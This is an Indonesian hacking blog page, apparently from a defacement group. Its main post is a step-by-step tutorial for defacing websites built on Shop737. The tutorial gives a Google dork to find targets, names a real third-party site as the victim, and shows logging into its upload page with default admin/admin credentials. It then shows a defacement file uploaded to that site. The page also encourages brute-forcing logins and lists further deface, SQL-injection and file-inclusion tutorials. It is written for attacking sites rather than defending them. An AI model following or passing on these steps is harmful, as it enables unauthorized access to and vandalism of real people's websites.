/>Nah ternyata toolnya masih bekerja dengan baik :)<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGjZaeCis17ziTdRbiaNeTxEpdR8n502T5Z8f4eHSy1ZM6f5V02bd8xzaR1CID6NxzowC5nZMWhY5NdDZR0bhhelnPdkt1ZnguP7TQntx9uixGANCOYAMwaFh3pnedNUcb3Tqa4j2AJhc/s1600/Screenshot_8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGjZaeCis17ziTdRbiaNeTxEpdR8n502T5Z8f4eHSy1ZM6f5V02bd8xzaR1CID6NxzowC5nZMWhY5NdDZR0bhhelnPdkt1ZnguP7TQntx9uixGANCOYAMwaFh3pnedNUcb3Tqa4j2AJhc/s320/Screenshot_8.png" width="320" /></a></div><br />Kalo sobat mau coba silahkan saja :) tapi saya ga yakin bisa nemu web yang password mudah ditebak, :D yah apa salahnya dicoba :v kalo ga dicoba siapa yang tau :v usaha dunk jangan cuma enaknya doank, wkwkwk :D<br /><br />Sekian tutorial ini, mudah2an bermafaat dan bisa menambah pengetahuan sobat semua :)<br /><br />Content Creator: <b><span style="color: red;">Onix AQua</span></b> Menyapa ^_^<br /><br /><br /><br /></div>

Joomla Bruteforce

Assalamualaikum... Hai sobat, udah pada tau belum tentang bruteforce? :o kalo belum silahkan tanya karo mbah google, aku yo males arek tekok...

Baca selengkapnya »

15.07

Wordpress SQL Injection | Bypassing Password Hash

Wordpress SQL Injection | Bypassing Password Hash

Tutorial Video

Baca selengkapnya »

17.43

Deface Dengan Upload File On Shop737

Selamat siang sobat IDCA :D<br /><br />hehe, sebelumnya itu judulnya bener ngak yaa >.< karena saya ngak bisa bahasa inggris sih jadi mohon maaf jika salah hehe, oke langsung aja kali ini saya mau kasih tau trik deface kayaknya sih udah cukup lama dishare, tapi karena ngak ada kerjaan yaah utek utek blog lagi deh :D<br /><br />[+] TUTORIAL [+]<br /><br />1. Cari target dengan dork :<br /><br /><ul><li><span class="Apple-style-span" style="color: red;">intext:"Powered by Shop737" <a href="http://www.google.com/search?sourceid=chrome&client=ubuntu&channel=cs&ie=UTF-8&q=intext%3A%22Powered+by+Shop737%22" target="_blank">(klik)</a></span></li></ul><div>dork bisa dikembangin sendiri OK :)<br /><br />2. Setelah itu ilih salah satu website yang ada di google tadi </div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt9y-bt4Fq81KjOhx8IxPBDM9G_bzJzoDHAwrnX5-9TtoD_7JR-eGOfFXMo0J_ta_v4-FCeVTxqDzcY7TW52PHI1hZNOp5-rTzsQ1AixIanX7sFSCc__D1J92hPWJ5UM9V2XdFYB_pulL-/s1600/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="163" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt9y-bt4Fq81KjOhx8IxPBDM9G_bzJzoDHAwrnX5-9TtoD_7JR-eGOfFXMo0J_ta_v4-FCeVTxqDzcY7TW52PHI1hZNOp5-rTzsQ1AixIanX7sFSCc__D1J92hPWJ5UM9V2XdFYB_pulL-/s320/Screenshot.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><ul><li style="text-align: left;">saya pilih <a href="http://balimalio.com/">http://balimalio.com</a>/poto/</li></ul><div style="text-align: left;">3. Setelah kalian memilih targetnya, lalu masukan Exploit berikut :</div><div style="text-align: left;"><ul><li><span class="Apple-style-span" style="color: red;">localhost/poto/upload.php</span> , contoh => <a href="http://balimalio.com/poto/">http://balimalio.com/poto/</a><span class="Apple-style-span" style="color: red;">upload.php</span></li></ul><div>4. Jika disuruh memasukan user + pass , silahkan isi :</div><div><ul><li>user : admin</li><li>pass : admin</li></ul><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIwEKGgUz6EgKOQGOP-cYymZJSjQPLsZ-HRKW85wkUv4o-_1MUFxqBWsuudD1lS4s0oG3hmfJU0m2FvuK9EuAhmaXS9OvUvPnmcMfwESPUiZQ2bAim141vIxEOGPMaBAJRa2b0KHJMNt8R/s1600/Screenshot-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIwEKGgUz6EgKOQGOP-cYymZJSjQPLsZ-HRKW85wkUv4o-_1MUFxqBWsuudD1lS4s0oG3hmfJU0m2FvuK9EuAhmaXS9OvUvPnmcMfwESPUiZQ2bAim141vIxEOGPMaBAJRa2b0KHJMNt8R/s320/Screenshot-1.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">5. Setelah berhasil masuk tampilan akan seperti dibawah ini, jika gagal cari web lain :P</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div><br /></div></div></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMJfbQUGXcfiko0GLNs3QcU7ukrVLA5hv_nnqEP4XnqdqKv35b5Vnw3rtYaYpUGGTHA9Tr3C8TYJGkcsHDJGj-Dvwp0j2xJrrpT40kuhyphenhyphenCEK_RfJ9WnpLGQVniYrqONs_1WqrpH3_vlJa/s1600/Screenshot-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMJfbQUGXcfiko0GLNs3QcU7ukrVLA5hv_nnqEP4XnqdqKv35b5Vnw3rtYaYpUGGTHA9Tr3C8TYJGkcsHDJGj-Dvwp0j2xJrrpT40kuhyphenhyphenCEK_RfJ9WnpLGQVniYrqONs_1WqrpH3_vlJa/s320/Screenshot-2.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">#Catatan :</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">No 1 : upload file txt/image (*ngak bisa php/html)</div><div class="separator" style="clear: both; text-align: left;">No 2 : pilih di Kategori mana file kalian di upload</div><div class="separator" style="clear: both; text-align: left;">No 3 : Klik Upload</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">6. Jika sudah keluar tulisan succes, buka hasil uploadan kalian di :</div><div class="separator" style="clear: both; text-align: left;"></div><ul><li><span class="Apple-style-span" style="color: red;">localhost/poto/[Kategori]/file.txt</span> ~> <a href="http://balimalio.com/poto/Sabun/garuda.txt">http://balimalio.com/poto/Sabun/garuda.txt</a></li></ul><div>Contoh punya saya :</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTn6iD1JdKIvp8zaduzfbnujM9a8mKmdDbfmfXtrx8YLUVVqwHC6XwXKNryTEpe8kElJxMtbFqMHhdcO04o78q8R96ctrtWofYIMSANfZ_qad0z6zT0KThN12CKeF5f5ESJRlefVrtax9d/s1600/Screenshot-3.2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTn6iD1JdKIvp8zaduzfbnujM9a8mKmdDbfmfXtrx8YLUVVqwHC6XwXKNryTEpe8kElJxMtbFqMHhdcO04o78q8R96ctrtWofYIMSANfZ_qad0z6zT0KThN12CKeF5f5ESJRlefVrtax9d/s320/Screenshot-3.2.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Sekian tutorial "Deface Dengan Upload File On Shop737" , jika ada yang kurang jelas silahkan tanyakan di kotak komentar :)</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><span class="Apple-style-span" style="color: red;">Content Creator : Bimo Septiawan</span></div><div><br /></div><br /><div><br /></div>

Deface Dengan Upload File On Shop737

Selamat siang sobat IDCA :D hehe, sebelumnya itu judulnya bener ngak yaa >.< karena saya ngak bisa bahasa inggris sih jadi mohon maaf ...

Baca selengkapnya »

23.17

Devilzb0yz

Cara Mudah Deface Website Dengan Bypass Admin Login

Cara Deface Website CMS Balitbang Kemendiknas

Exploit FileChucker File Upload Vulnerability

Web Hacking ( Local File Inclusion )

Mass Deface Website

Exploit Fluidgalleries File Upload ( Tamper Data )

Joomla Bruteforce

Wordpress SQL Injection | Bypassing Password Hash

Deface Dengan Upload File On Shop737

Popular Posts

Labels

Arsip Blog